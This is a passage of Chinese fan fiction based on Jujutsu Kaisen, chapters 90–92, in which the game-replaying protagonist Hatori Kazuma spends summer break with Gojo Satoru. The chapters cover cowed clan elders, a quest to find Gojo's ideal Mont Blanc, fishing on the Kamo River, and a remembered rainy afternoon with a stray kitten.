啊,他不信就没办法了。 第90章 不相信始作俑者是羽取一真这个情况, 也不能怪五条悟。 毕竟整件事说出去都非常玄妙。 从未接触过咒术界的羽取一真,现年十六岁,三级咒术师(目前), 无法使用术式——能把高高在上的既得利益者们吓得狼狈逃窜。 虽然用这个词语描述有点不尊敬老人家, 但看加茂长吉等人快步离开的背影,那越捯饬频率越高的两条腿,很难说没有“逃”的成分在。 包括五条辰雄,这两天也压根不想见到五条悟。 不,别说两天,只要有那个黑发少年在, 他周围就好像被划分出了什么不可侵入的领地一般,让人害怕。 总而言之就是又排斥又害怕, 但又没办法出手, 干脆别让他出现在自己视野内最好。 而五条悟, 这个不懂上下尊卑、总是仗着自己很强就不把他们放在眼里的小子, 五条辰雄之前三五不时就会敲打他两句,让这小子知晓一个道理——就算实力再高, 这世界也不是仅凭实力就可以排出个高低的。 利益、地位以及人脉资源交织而成的一张巨网,才是拥有权势与人心的基础。 但实力嘛,在某些时候确实管用。 这句话的意思并非指将它抬到能够加入权势角逐的主位上,而是作为与其它势力谈判的筹码。 因此, 五条辰雄也没打算真与五条悟交恶, 反而会给他安排最好的资源和待遇,也早早定下了待前任家主故去之后、由他继承下任五条家主的规矩。 那些敲打, 某种意义上而言,不过是谨遵家族规矩的苛责。 可五条悟偏偏厌倦这类限制这些、限制那些的管教,更不喜欢那些汲汲营营的谋权手段, 才由此连带对长老们感到不耐烦。 如果换个适应良好的继承人过来,大概就能和这帮老头们友好共处——说难听点,“狼狈为奸”了吧。 毕竟只要五条悟想,他完全可以成为这张网里的既得利益者,同样高高在上的俯瞰所有人。 但正因为排斥与不屑,五条悟才是五条悟,而不是别人。 那些能在规矩里混得如鱼得水的,只不过是下一个陈腐又封建的[五条辰雄]、[加茂长吉]罢了。 羽取一真喜欢的同样是看见那双苍瞳里满含期待,对他说“希望咒术界能变成什么什么样”的五条悟。 ——而这特质并非由他人赋予或施加给五条悟的,乃是完完全全由他自身成长、思考、总结,并最终下定决心去做的事情。 就算现在刚入学高专的五条悟还没有这样的想法也无妨,羽取一真愿意守在他身边,静待这枚种子萌芽破土的那日。 只不过,现在嘛…… 羽取一真正在陪五条悟打游戏。 既然那些长老对他们视而不见,不来找他的麻烦,五条悟索性直接拜托仆人帮忙在他寝殿里搬了台电视机,每天废寝忘食的打游戏。 耶,超爽的! 反正说是寝殿,其实空间相当大,里面又可以再隔出两三个房间,打游戏、看书学习、包括让羽取一真睡在这里都绰绰有余。 而且他们也没有真的一整晚不睡觉,羽取一真会用某种不赞同的目光默默盯着他,直到把他盯到关掉电视为止。 五条悟在心里嘀咕。 就某个方面而言,黑豆柴的目光可比那些老头的训斥管用多了…… 但总而言之,在假期的刚开始阶段,他都过得超级愉快! 不过,五条辰雄那些长老初见他们被吓成那样的谜底,五条悟还是没有找到。 总不会真的是害怕羽取一真吧…… 但这实在没道理啊,这帮老头连用一发[苍]就能打死他们的他都不怕,为什么会怕一真? 五条悟琢磨了两天,每当他感觉这就是真相时,只需看一眼呆呆回望过来的羽取一真,就立刻否认了这个猜测。 实在是不觉得他有哪里需要害怕成条件反射啦。 “你有没有什么持续发动的被动技,是能恐惧老年人的,而且越老越有效果?” 五条悟摸了摸下巴,脑洞大开的问羽取一真。 “……没有。” 羽取一真无奈,但他又没办法坦白这是个游戏,而他在一周目干过很多能把老头npc折腾得手脚无力、腰背酸痛、腰肌劳损,或者干脆直接送命的事情…… 好感度负到游戏都显示不出来了。 要是换成另一种比较流行的形容词——怎么样,他招了吗? 于是,羽取一真只能委婉再委婉的透露道。 “可能是见过和我长得差不多的人,被他折腾得很惨吧。” 五条悟想了想,发现这解释还真的有可能——个屁啦。 “要是曾经真有谁能给那么多高层留下这么重的心理阴影,他此刻应该还在咒术界当大魔王。” 五条悟格外无语虚起眼,“我怎么可能从来没有听说过啦。” 羽取一真心说大魔王未必,但活阎王真是他们曾经叫出来过的名号。 左右想不明白,聪明小悟索性举一反三,就把羽取一真当成那种对老头非常好用的威慑武器。 例如回到五条家之后,只要打算在家吃饭,五条悟总是避不开五条辰雄他们的。 而到这时候,五条悟就会带着羽取一真闪耀登场,瞬间堵住这帮人想要非议几句的嘴。 “这位可是我们五条家的客人啊,还不快上菜。” 五条悟睁大苍瞳,满脸[我这可全都是为了五条家的名声着想]。 “你们怎么能怠慢客人,把他独自安排在侧殿吃饭呢?” 羽取一真的眼神冷淡,往五条辰雄那边一扫。 即使他没有出声哪怕半个字,就足以令五条辰雄拿着筷子的手一抖,条件反射想要找个什么物体躲一躲。 比如障子门什么的。 “…………” 原本想说出口的斥责也被迫全咽回去了,整个人都变得有点小心翼翼的。 “哪里的话,我们自然是要好生对待客人的,尤其这位是,嗯,您的友人。” 他变得低眉顺眼的,视线往左撇右撇就是不看羽取一真,边挥手让仆人给他加一个餐台。 大家族吃饭就是这样的,根本不是围在一张桌子上,而是有资格上桌的宗家成员按尊卑主位坐成两列,大家各自吃自己面前的那份饭。 份量和种类全部都是固定的,饭少得可怜,菜少得可怜,汤更是两口就吨吨没了。 用五条悟的抱怨来形容就是,根本吃不饱。 他还在长身体呢! 所以五条悟通常也不乐意跟着这帮老头一起闷不吭声的吃饭,而是带着羽取一真在京都到处找好吃的店。 不过呢,现在的他也会喜欢上跟他们一起吃饭了。 “对了,辰雄老爷子啊。” 五条悟扒了两口饭,好似突然想起来一件事似的,若有所思对他开口说道。 “我上次来的时候,你是不是有什么话要对我说来着?” 他单手端着饭碗,另一只执着筷子的手在空中比划,连对方的声音与语调都模仿得惟妙惟肖。 “就是那个啦,什么[下任家主要有下任家主的样子,抛头露面去参加综艺节目像什么话]之类的。我有点忘记了啊,你再复述一遍给我听听呗。” 羽取一真坐在五条悟身边,同样将目光投向五条辰雄的方向。 他也挺想听一听这个老头npc,敢对漂亮小悟指指点点些什么话语。 上次那盘综艺节目的录像带,虽然让五条悟在他们面前趾高气昂了一会,好好看了通这帮老头的笑话,但总体而言,必定是被斥责了一顿的。 毕竟再怎么说,目前的五条悟只是“下任家主”而已。 只要家主还在,整个家族的真正权利就依然还属于家主。 且家主本身,也要为了“五条家”而服务——在日本传统家族的观念中,“家”这个概念至高无上,家族里的所有人都必须要为了维护家族而奉献出自己的所有,不得有任何异议。 个人是不重要的,依托于祖先之灵、将家名与血脉继承下来、彻底超越个人存在的“家族”,才是更重要的存在。 因此,五条悟身为继承人,那些所作所为在普通人眼里看完全没什么,但放在五条辰雄的眼里,就是丝毫不顾及五条家的名声,使家族失了体面的做法。 而五条辰雄身为拥有话事权的长老,又是比五条悟辈分高的存在,自然是可以出声训斥这种不守规矩的行为。 除非等五条悟真正成为五条家主——根据家督继承制,那时候的他不仅会继承这个家族所有的财产支配占有权,还有让其余族人都必须无条件服从家主的“家长权”。 只有到那时候,五条悟才能想做什么就做什么,不受五条辰雄这些老头的制约。 虽说他依旧我行我素,可总被老头斥责也是很烦人的。 但此刻,有羽取一真在。 被那双黑瞳注视着,五条辰雄只感到背后的寒毛直竖。 “…………” 救命这小子能不能不要再开口提他了啊! 赶紧吃完赶紧离开不行吗,他都在努力对这个会让他们条件反射感到厌恶与畏惧、却又因那位大人的存在而无法出手的黑发少年视若无睹了! 大概连羽取一真也没想到,上周目害他被不停算计直到死亡的反派,这周目竟然成了他的护身符。 “是、是这样吗,” 五条辰雄艰难挤出一个笑脸,每条褶皱里都塞满了道不尽的苦涩。 “老夫已经忘记自己之前说过什么了……话又说回来,偶尔向大众展示下五条家的亲民形象,也不错啊。” 每个字都干巴巴的,一听就是极不情愿才挤出来的口吻。 “是啊,我也是这么想的!” 五条悟笑得格外灿烂,从座位底下掏出他早就准备好的那本时尚杂志。 “所以呢,你看哦,我还特意去参加了杂志的采访,全方位的展现了下我们的亲民形象呢!” 五条悟在“全方位”和“亲民形象”这几个字上咬着重音,一听就是在故意跟五条辰雄他们对着呛声。 五条辰雄盯着那份放在五条家是属于根本不入流的平民杂志,火气“腾”的一下就上来了。 综艺节目还不够吗,竟然又跑去接收这种杂志的采访,有没有半点五条家下任家主的样子! 不像话、荒谬、简直滑稽至极! 要是让加茂和禅院两家看见,还指不定要怎么笑话他们! 五条辰雄顿时怒火中烧,正要出声训斥——目光一错,就接收到了旁边同样冰冷射过来的视线。 深埋的怒意比他更冷,瞪视的威压比他更强。 “…………” 刚升起来的火气,顿时就被灭了个彻底。 张了张口,又张了张口,最后,扛不住内心畏惧的五条辰雄虚弱出声道。 “啊,嗯,确、确实还挺不错的。” 90-100 第91章 五条辰雄憋着满肚子的气, 匆匆吃完就离席而去了。 五条悟不走,他还不能先走吗! 虽然五条悟本身还不是五条家主,但现任的五条家主抱病在身, 只等着五条悟一成年就退位, 根本不管他的言行举止。 如果是普通的家族,或许仅实行长子继承制度。 但依托于咒术而维系至今的御三家,却又更看重生得术式背后所代表的血脉含义。 觉醒了[无下限]术式,又拥有此世唯一的[六眼],五条悟从诞生之日起,无论自身是否属于分家或本家, 早已被直接提为了继承人。 “所以啊,我很早就被接到这边来接受所谓的[精英教育], 和父母那边也再没有什么联系了。” 有大杀器羽取一真坐镇, 五条悟还是头一次既把那帮老头气着了, 自己也没有挨骂——甚至对方还不得不忍气吞声的附和他呢! 这可比打游戏拿到白金奖杯痛快多了! 不过中午那顿该吃不饱还是吃不饱, 所以五条悟带着羽取一真出来找餐馆,顺带随意聊聊天。 现实世界里也是在普通家庭中长大的羽取一真, 自然是有点好奇为什么五条辰雄总是想要“规诫”身为下任五条家主的五条悟。 而且他们回来这么多天,也没见到漂亮小悟的父母过来看他。 主要是上周目的他一来就直接当上了加茂家主,干的事又比较出格,推行新规矩也基本是靠游戏附加的强硬手段, 压根没有深入了解过御三家内部到底是什么情况。 这很正常嘛, 玩家只需要负责进游戏大开杀戒就好了,怎么可能会把每一条游戏设定和背景介绍都背下来呢。 如果不是因为在一周目真正喜欢上了漂亮大悟, 想要为他再打出一个好结局的话,羽取一真敢保证自己这周目照样是以请吃烂饭开局。 高低得让那个盘星教的园田茂也吃上五十多顿烂饭。 五条悟丝毫不意外羽取一真话里的困惑,大概跟他讲了下封建家族的那些早就陈腐到发臭的规矩, 又提到自己的身世。 但对于很小就被带离父母身边的经历,五条悟并没有生气、不满或者愤怒的反应,或许是早就习惯了。 “其实也没什么关系,反正我后来也不太在京都的宗家待着啦,从小就被带着各地跑,祓除咒灵经验超丰富来着——非要说的话,反而是东京待的时间更长一点。” 在羽取一真正在思考该怎么安慰五条悟前,他就已经先一步拍拍他肩膀,表示自己压根不在意,别担心。 于是,羽取一真沉吟片刻,顺势用另一个问题来顶替掉这个略显悲伤与沉重的话题。 “所以……你也不会京都腔?我还以为你会。” 五条悟:“……” 五条悟挑起单边眉梢:“怎么了,你很喜欢听京都腔?” “我觉得还挺可爱的,”羽取一真老老实实回答道,“就跟关西腔一样。” 其实也不是京都腔可爱,而是想象一下说着京都腔的漂亮小悟,就感觉京都腔会很可爱。 “关西腔怎么可能会和京都腔一样啊。” 五条悟无语望着他片刻,没想到对方的重点竟然落在这里——又不是什么才艺表演啦。 “一定想听我用京都腔说一句?” 羽取一真点点头,平日幽深的黑瞳此刻有点亮晶晶的,期待看着漂亮小悟。 “嗯。” 五条悟认真回视羽取一真片刻,唇角一扬,忽而露出个格外恶趣味的哼笑,好似根本不打算满足这个超呆黑豆柴的心愿。 “不行啦——” 他开口说着“不行”,用的却是【あきまへん(akimahen)】的京都人说法,而不是最常用的【ダメです(damedesu)】。 尤其是当五条悟说到最后两个平假名,用带有明显后鼻音的少年腔调软软发出来时,比起拒绝,更像是一种半埋怨似的撒娇。 他确实不太会京都腔啦,但幼时也算是耳濡目染,大概记住了几句比较常用的京都话。 在以为会被拒绝的失落那刻,突然又收到了超大惊喜,羽取一真毫无抵抗力,瞬间被暴击出局。 果然……说京都腔的漂亮小悟可爱得要命。 见到这个效果的五条悟非常得意,苍瞳微眯着又抬手揉乱了对方的脑袋。 论坛里说的果然没错……这小子就是很喜欢我嘛。 他神气又骄傲的想道。 都处于长身体时期的五条悟和羽取一真找到一家会提供大份量的家庭餐馆,终于填饱了肚子。 虽说羽取一真在游戏里吃饭只能增加体力值,但陪着五条悟一起吃饭,情绪价值也能连带被补得满满。 而在羽取一真和五条悟付账出门的此刻,到了惬意的午后时间。 “游戏有点打腻了,”五条悟提议,“我们去鸭川钓鱼怎么样?” “好。” 羽取一真没有任何异议。 放在东京高专宿舍的渔具没带过来,但这可难不倒有钱的京都悟少爷——他只需要小小发动一下金钱攻击,区区渔具自然是手到擒来啦! 除去喂鱼的饵料外,还得买喂甜食小悟的点心。 站在橱窗前,五条悟对着商品犯了难。 “招牌的栗子奶油蛋糕确实美味啦,但改进的巧克力蒙布朗蛋糕卷看起来也很诱人啊……” 他对着两款产品来回审视,口中还嘀嘀咕咕。 “到底选哪种比较好呢,真让人纠结……” “两款都选?”羽取一真提议。 “不能浪费,”五条悟转头看向羽取一真,墨镜后的苍瞳认真眨了下,“必须要选这个时候,内心最想吃的甜食才行!” 柜台后的店员小姐姐面容亲切,唇角笑意里透着一丝丝微妙,在安静等待着五条悟艰难抉择后的结果。 自从上次被包围之后,五条悟出门都戴着能挡住显眼白发的棒球帽,今天也不例外。 不过,五条悟挡住了自己,也只是让他们被认出的概率下降而已。 例如现在,店员小姐姐其实已经认出了他们——只是没有道破而已。 毕竟五条悟会做出这样的遮挡行为,就意味着他不想被人打扰嘛。 但也不妨碍她偷偷的嗑真悟! 哎呀,实际看他们果然也都是超帅啊,透着一股青涩又热烈的少年感。 “嗯,那你选一款,”羽取一真从善如流道,“我吃另一款就好了。” 五条悟的眼镜顿时一亮,“好耶!” 果然羽取一真就是他超级贴心的好哥们! “那我要这个巧克力蒙布朗蛋糕卷,谢谢店员姐姐——” 五条悟伸手一指,苍瞳写满了期待。 “哎呀,我还没有吃过这种做法的蒙布朗呢,好期待!” 羽取一真眨了下黑瞳,“你吃过很多款蒙布朗吗?” 他记得蒙布朗的衍生款式其实挺少的,但听五条悟的说法,他似乎一直在专门找蒙布朗来吃? 原来五条悟以前这么喜欢吃蒙布朗吗? 他记得怎么是更喜欢吃大福或者团子这种日式的点心多一些…… “嗯?很多款哦,上次不是也尝过咖啡味的蒙布朗嘛,” 五条悟掰着指头给他数。 “另外也有椰丝蒙布朗、海绵蛋糕蒙布朗、白巧克力蒙布朗、水果蒙布朗、香草蒙布朗……总之,目前还没有吃到我最喜欢的蒙布朗啦。” 羽取一真有点愣住,下意识复述一遍。 “你最喜欢的蒙布朗?” “是啊,所以我才在一直尝试各种新品的蒙布朗呢。” 五条悟理直气壮说道,完全不介意被说是口味挑剔。 “谁让我总觉得,这些蒙布朗都没有达到我心目中的要求嘛。” 第92章 “这样啊。” 帮忙接过打包好的甜点, 羽取一真目露恍然,“那我也……” 就在这时,许久未动过的游戏界面突然弹出, 在他面前展开【委托】浮窗, 字样滚动在羽取一真的眼底。 【当前触发委托: 五条悟的寻觅:请协助五条悟吃到能使他满意的蒙布朗甜品。 当前最高满意度:46%/100%】 奖励:可解锁结婚模块。】 【请注意:与目标人物的结婚需搭配【求婚】使用。】 【请注意:需满足一定好感度数值、当地对于结婚年龄的规定、及该目标要求的其余条件,才可发起【求婚】。】 【请注意:即使满足对目标人物的发起条件,【求婚】也并未能够成功。】 【当前求婚目标:无】 【需满足条件:无】 “………帮忙找找看。” 吐出后半截话的羽取一真盯着那个明晃晃的结婚功能、以及接下来一连串的求婚注意事项,陷入漫长的沉默。 有那么一瞬间,他连内心想法都卡成了一长串乱码,甚至没有第一时间去吐槽这游戏到底在搞什么飞机。 他在一周目的时候, 当场对着悟发表求婚宣言,也不过是开放了好感度模块。 哪怕后来悟对他的好感度一直在涨, 乃至连关系也默契的变成了交往中, 这游戏也跟死了似的, 完全没有半点表示。 害得他当时还以为这游戏压根没做结婚相关的功能。 而现在, 二周目,他已经做好只打游戏不恋爱的心理准备, 这游戏倒是瞬间支棱起来了,才做到第几个委托,唰一下就给他来了个结婚奖励? 就连情绪波动一向平稳的羽取一真,都险些被这游戏给堵着。 有本事一周目蹦出来给他解锁啊! 而且, 这奖励竟然还是出现在给漂亮小悟找他最喜欢的蒙布朗的委托里! 羽取一真还是头一次, 对着几行字默默生起闷气。 想做的委托给了个最不需要的奖励,不想做的委托倒是给了个他最需要的奖励。 倒是互换一下啊!! 好生气, 可委托还得做——应该说就算没有这个委托,羽取一真也会想要满足漂亮小悟的心愿。 但这个奖励……算了,就当做没有吧。 走在路上的羽取一真, 浑身散发着堪称幽怨的低气压,让旁边的五条悟又好奇又担忧的瞥过来好几次。 突然怎么了这是? 因为有完全不透光的墨镜隔着,再加上还在走神,羽取一真并没有察觉到。 他还在努力思考什么样的蒙布朗才能达到漂亮小悟的要求。 心目中的完美蒙布朗吗……每个人喜欢的口味肯定都不一样吧。 不过,说到蒙布朗,羽取一真条件反射想起来的,是当初那个悟在新年假期还要去山形县出差,便索性参与了当地商业街的集邮活动,最后获得的[神秘甜品]。 辣咖喱味的蒙布朗。 不,那个再怎么说也不可能是五条悟想要吃的蒙布朗吧,都被吐槽过口味太猎奇了。 而要说一周目悟最喜欢吃的蒙布朗,羽取一真猜测是悟后来拜托他去排队购买的[神之甜品]。 除去自身售价的昂贵,它不仅限时限量,还要看川村大师当天有没有做蒙布朗的心情。 当时羽取一真为了到手这款甜品,还一拳轰烂了川村大师的家门,干掉攻击他的咒灵,最后举起手丨枪抵在他脑门上,监督着人做完的。 虽说成品在他看来还是有点甜,但收到这份甜品的悟吃得非常开心。 甚至一口气给他涨了30的好感度! 嗯……说到那个川村大师,十年前的他有没有在做甜品来着? 如果没有的话,漂亮小悟确实会吃不到这款[神之甜品],也难怪一直在找。 羽取一真还记得那家西点店的地址,决定等暑假结束返回东京时,就去找找看。 如果这时候也有在卖那个[神之甜品]的话,正好能给漂亮小悟一个惊喜。 如果不卖的话,他也仍记得川村大师的公寓地址。 说起来,蒙布朗好像还是他唯一会做的甜品呢,不算系统辅助…… 羽取一真刚想起自己曾经也做过蒙布朗给悟吃,便被突然伸过来的手臂勾住脖颈,打断了正发散的思维。 “怎——么了?” 五条悟见这只黑豆柴已经持续了大半段路的低落情绪,还一直走神不理他,干脆采用肢体动作来拉回对方的注意力。 “在想什么呢,我刚才喊你两声了都不回应,发呆到都快撞上电线杆了。” ——羽取一真怔了下,还没想出要怎么解释,便又看着五条悟凑过来的脸,连声音也压得神秘兮兮的,透着一点微妙的、带着若有若无试探的凝重感。 “你是不是也发现了,刚才那个店员姐姐……” 羽取一真压根没注意过那位店员的反应,甚至连她的脸都没记住。 此刻,他突然听到五条悟这么问,下意识“嗯?”了一声,反应比刚才走神时还要茫然。 “她刚才做了什么吗?” 五条悟认真审视羽取一真的表情,确定他真的完全没发现那位店员姐姐认识他们,且明显对他们刚才的对话表现出了相当积极……或者说是热切的反应后,才稍微放下点心。 看来这只黑豆柴依旧超呆的,还没发现这世上已经不止他一个人知道他喜欢他了。 “没什么啦,只是想说她好像认出我们了。” 五条悟若无其事的松开手,重新自那只又提着塑料红桶、又拎着鱼竿的手上接过一部分负重。 “我突然发现,光挡我的头发有什么用,你的模样也很惹眼啊。” 他随意和羽取一真聊着天,好能顺利掩饰过去他刚才不小心透露出的一点点嗑cp小线头。 “咦,我吗。” 羽取一真确实没想到自己也会被认出来。 毕竟在某些动作游戏里,玩家总是像一个透明人,只需要旁观npc们自顾自的对话来推进剧情,然后负责大开杀戒就够了。 就算有选项,大多数时候也不过是在【……】和【。】里选一个。 有什么区别吗?没有。 所以他才会逐渐变成一个skip(跳过)党。 “可如果我们两个都戴帽子和墨镜的话,”羽取一真想了想,“岂不是变得更醒目。” 感觉会适得其反。 而且现在是不用上学的暑假,羽取一真穿的都是五条悟之前逛街买给他的那些衣服,全都是按照五条悟的审美品味选出来的,很容易就能跟对方的常服凑成同款。 反而会使路人的目光下意识吸引过来,想看看这两个少年鬼鬼祟祟、遮头盖脸的在做什么吧。 五条悟:“……你这么说也有点道理。” 非要讲的话,他其实是不介意被人认出来的——在咒术界,他的名字早已无人不晓。 尤其是那些杂鱼诅咒师,见到他更是见到鬼一样。 但如果羽取一真会为总被人认出来而感到困扰,他也不介意行事再低调一些。 “我感觉还好,”羽取一真说,“我们只是上了一次节目,又接受了一次采访而已。比起那些真正的名人,我们被认出来的频率也没有那么高。” 在书店被围住那次属于意外,毕竟他们正好撞上了自己人气最高的时间,又主动前往聚集了最多活跃粉丝的地点。 像后来再出门做任务的时候,就算再被粉丝认出来,只需要配合回以一声招呼,然后签名或者合影就好了,也不会再把他们围得动弹不得。 倒是那个他和一真嗑cp的论坛,有时会上传一些偷拍的“路透”图——通常都离得很远,而且只有他们无法察觉到的背影或侧面。 然后又从细节里分析一通他们相爱的证据,让五条悟看得津津有味。 而其中有一张照片,连五条悟都没想到会被偷拍下来。 那是一个容易滋生咒灵的雨天,而春季的雨总是淅沥又淅沥,让天空也始终笼罩着一股有气无力的阴沉。 哪怕时间仅是中午过半,光线也早早就黯淡下去,地面则积满了无数个小水洼,踩上去会发出啪嗒啪嗒的响声。 五条悟想着他们这次不是去东京市区,来回路上也都是坐辅助监督开的轿车,便没有戴帽子。 结果辅助监督把他们送到地方后就接到一个紧急电话,五条悟就干脆让他先离开了,反正凭他的实力是不会需要辅助监督帮忙向高专呼救的,下完[帐]就可以走了。 而他们上午出来做任务时还没下雨,结果在这栋偏僻的——总被附近学生当成鬼宅来探险的——的废弃住宅里逛了一圈,把咒灵祓除得干干净净后,出来就下起了雨。 二人站在门口,盯着那不断自屋檐落下、几乎连成线的雨,确认这场雨一时半会停不下来之后。 “哼哼,”五条悟并拢二指举起,对羽取一真开口的语气透出小小的得意。 “我可以用[无下限]术式来隔绝雨珠哦,”——他冲羽取一真挤挤眼,“怎么样,羡慕吧?” “确实特别好用。” 羽取一真想起一周目悟进下水道里时,也能用[无下限]来隔绝管壁上方滴落的污水与黏糊糊的不明物质,赞同点头。 “叫声悟前辈来听听——然后呢,你的悟前辈就会去给你买把伞回来喔?” 露出坏笑的五条悟摇了摇手指,立刻像捉住了老鼠尾巴的猫咪那般得寸进尺,全然无视自己的年龄要比羽取一真小上一岁。 至于“他现在想要长时间维持[无下限]术式其实还挺耗费精力”的这种情况,五条悟是半句也不会提的。 羽取一真看着神气活现的骄傲小悟:“…………” 虽然他想说其实淋雨回去也完全没关系,但毕竟对方都这么期待自己喊他前辈了…… “悟前辈,”羽取一真甚至双手合十以示诚恳,配合对五条悟说道,“拜托你了。” 五条悟顿时连苍瞳都快眯到看不见了,掌心用力揉搓羽取一真的脑袋,真是肉眼可见的被哄得不行。 “哈哈,哎呀,好说好说——” 于是他也说到做到,开着[无下限]术式去最近的商店里买了把伞,撑开,伞柄靠在肩头,优哉游哉地晃回来。 而就在他返回这栋“鬼宅”的路上,五条悟远远看见羽取一真已经蹲在庭院的角落里淋雨。 甚至外套也解下来了,正撑开在小臂间,似乎在给什么东西做遮挡。 五条悟将手中的伞举高在羽取一真的头顶,俯身越过他肩头往下看。 “在做什么?” 羽取一真侧过身体,露出一点被外套挡住的视野。 原来是一只小奶猫,纯白的皮毛此刻被雨淋得湿漉漉的,正在茫然无助的咪咪叫,似乎想要呼唤妈妈。 “是刚才突然听到了一点声音,找过来时发现的。” 羽取一真对五条悟说,“我听说小奶猫是不能用手碰的,不然猫妈妈就会抛弃它了。” 这也是他蹲在这里给奶猫挡雨,而不是把它带到屋檐下避雨的原因。 虽然羽取一真不确定他看过的这则消息是真是假,但总归小心一点是没错的。 “这样啊……嗯,看起来刚出生不久呢。” 还是第一次听说的五条悟便也没有伸手触碰,而是抬起一点墨镜,似乎在用[六眼]似乎观察这只幼猫。 “能找到猫妈妈吗?” 羽取一真抬头期待问道。 他的黑发此刻也已经被雨打湿了,打着微卷贴在脸上,乍一看,跟这只小奶猫真是有着不相上下的可怜。 莫名感觉也很可爱…… “我的[六眼]是用来看咒力的,不是看血缘的啦。” 五条悟有点好笑的将墨镜推回去,佯装自己刚才没有脑补出一只在雨夜眼巴巴看着他,毛发尽数打湿,正坐纸箱里等着被捡回去的黑豆柴。 “不过,既然它会在这里叫,就意味着猫妈妈肯定在附近……啊,来了。” 羽取一真和五条悟退开几步,看着远处警惕的猫妈妈慢慢靠近过来,然后凑近嗅了嗅自己孩子,张口叼住,头也不回的跑走了。 “你是不是想过,如果没有猫妈妈过来,就自己带回去养?” 五条悟摸着下巴,对着那只纯白奶猫被叼离开的方向,突然开口问道。 “嗯。” 羽取一真将这件已经湿了的外套挂在臂弯间,诚实点头。 五条悟可能没有发现,但那只小奶猫在咪咪叫的途中有睁开过眼睛,是漂亮的蔚蓝色。 虽然这么说有点不好意思……他确实是看着那只幼猫很像漂亮小悟,才升起了这个念头。 “——果然啊,你这家伙想什么真是一猜就中。” 五条悟哑然片刻,手肘用力拱了下身边的这只黑豆柴。 此刻的他们都站在没有屋檐遮挡的庭院里,五条悟买来的伞正撑在二人头顶。 但羽取一真刚才在雨里待了段时间,已经让他整个人都湿透了。 发梢不断往下滴落着水珠,原本松垮的单薄衬衫也紧贴肌肤,稍微拧一拧就能出水。 除去那张依旧镇定平静的酷哥脸,无论怎么看,这副模样都相当狼狈。 “这下好了,你不仅没有养到那只心爱的小猫咪,人还淋得湿透,打不打伞都没什么区别啰。” 端详完羽取一真的五条悟弯起唇角,愉快笑意藏着在明显不过的揶揄——他依旧通身干爽,甚至连裤脚都没有被打湿。 “确实。” 羽取一真点头,正要说那伞就给五条悟撑着好了,这样一来,他也不用一直开着[无下限],太消耗精力。 ——但在后半句话还没出口时,羽取一真便看见那把长柄伞被收起,好似一根拐杖般被五条悟杵在地面。 而等他惊讶的再看向五条悟,发现他也并没有撑开[无下限]术式,细密的雨水不断打在他的肩膀——连那头翘起的纯白发梢上也不能幸免,雨水浸透发丝后又快活得往下滚落,很快就在衣服上晕开了大片大片的偏深痕迹。 “你……” 羽取一真眨了下黑瞳,一时间没反应过来五条悟这是在做什么。 “现在是夏天啦,” 五条悟笑着开口道。少年的声音轻快又愉悦,好似一段流淌在指尖的钢琴旋律。 他将一只手搭在羽取一真的肩膀上,跟对方并肩往车站的方向走去。 那把长柄伞被勾在另一只手的指尖,甩着悠闲又自在的圈,完全没有发挥它本应有的作用。 “夏天的话,就算淋会雨也没什么关系吧?” 他笑着这么对羽取一真说道,丝毫不在意这场原本无法打湿他的雨,此刻已让他们都变得湿漉漉的,抬眼间尽数落在二人身上的水珠,却并不显得冰凉。 即使踩在水洼里,发出的响声亦如同这段轻快旋律中的低沉鼓点。 “是这样吗?” 羽取一真转头望向五条悟,黑瞳深处也泛起愉快的浮光,唇角随之抿起浅淡笑意。 有伞却不撑,把自己淋成这副狼狈模样,路人肯定觉得他们超奇怪的。 但这又有什么关系呢? 五条悟笑着想道,连鼓动在胸腔里的心跳声也觉得轻盈无比。 他只是在做他想做的事情罢了。 ——而他们踩着水洼,勾肩搭背走在路上淋雨的背影,被不知道路上碰见的哪位粉丝拍了下来,放到论坛的帖子里。 光看着这张照片,就能再度回忆起他当时的情绪,清晰而鲜明。 帖子里的尖叫也堆成了山,各种猜测他们淋雨的原因,诸如伞坏了、在打赌或是比赛之类。 甚至还有一个人在哭、另一个人在安慰的猜测,更是离奇。 但无论怎么猜,最终的推理结果都会归于一句话。 他好爱他——这个他指代成二人里的谁都行。 五条悟看完这个长长的帖,手指一动,把照片保存了下来,设置成手机壁纸。 他原本的手机壁纸是随便选的女艺人写真,现在换成这张背影照片,反而是出于他主动想这么做的选择。 反正拍得很好看嘛,构图也很漂亮,两个人正好居于画面中央,由于天气而导致整体色调偏冷,雨水稍微模糊了镜头,但仍准确的对上了焦。 那把伞面透明的长柄伞被他拿在手中,正好甩了起来;有几颗雨珠落在空中,俏皮又愉快得一如他当时心情。 哪有那么多莫名其妙的原因啦。 从那段回忆里拉回注意力的五条悟想起被稳稳揣在口袋的手机,唇角已然悄悄扬起。 ——只是因为一只纯白的、蓝色眼睛的小奶猫而已。 “等会,我要是钓上了鱼,” 想起那份美味夜宵的他舔了舔嘴唇,对羽取一真开口说道,宛若大将军在背上插满了一排旗。 “我还想吃你上次做的那碗鱼汤泡饭!” 虽然能带着一真去吓那帮老头是挺过瘾的,但他可不想总是只吃那丁点大的一碗饭,既不好吃也吃不饱。 既然会做饭的羽取一真就在身边,聪明小悟当然要事先点好菜! 羽取一真满口应下。 “交给我吧。” 一周目的时候,悟想在河里钓上十条鱼都费劲巴拉的花了好多天;但二周目的悟好像格外擅长钓鱼,那自然是想做什么料理给他都完全没问题。 太阳从东挪到西,二人坐在鸭川河边,撑着下巴看水面的鱼鳔随河面轻微起伏。 甜点和糖果都已经吃光了,巧克力蒙布朗蛋糕卷更是只得到了五条悟六十分的及格评分。 甚至栗子奶油蛋糕得到的评分更高一些,羽取一真只吃了两口,剩下的全是五条悟的。 这也更坚定了等他回到东京后,就去找川村大师做[神之甜品]的念头。 但此刻困扰五条悟的,可不是“完美蒙布朗”,而是空荡荡的塑料小红桶。 在那半桶水里,只有中指长的一条小鱼在吐泡泡。 还是羽取一真钓上来的。 五条悟:“…………我不信。” 羽取一真轻咳一声:“很正常的,你看之前坐在我们隔壁的大叔,钓了一下午也就三条鱼……” 五条悟幽幽转过目光:“你不觉得是我们用的饵料有问题吗?” 钓不上鱼,怎么可能是他的问题?一定有其它原因! 羽取一真没忍住又咳一声,才忍住快要憋不下去的笑意。 “一条鱼,嗯……也能做鱼汤泡饭。” 完全没有被安慰到的五条悟:“………” 这份少年时意气风发的好胜心,立刻升起在了这不该升起的地方。 “不钓到鱼,我就不回去了!” ………… 五条家。 正在等换岗的守卫站得昏昏欲睡,突然发现一辆车停在宅邸门口,把他吓得一个激灵。 这么晚了,还有哪位不速之客会深夜造访? 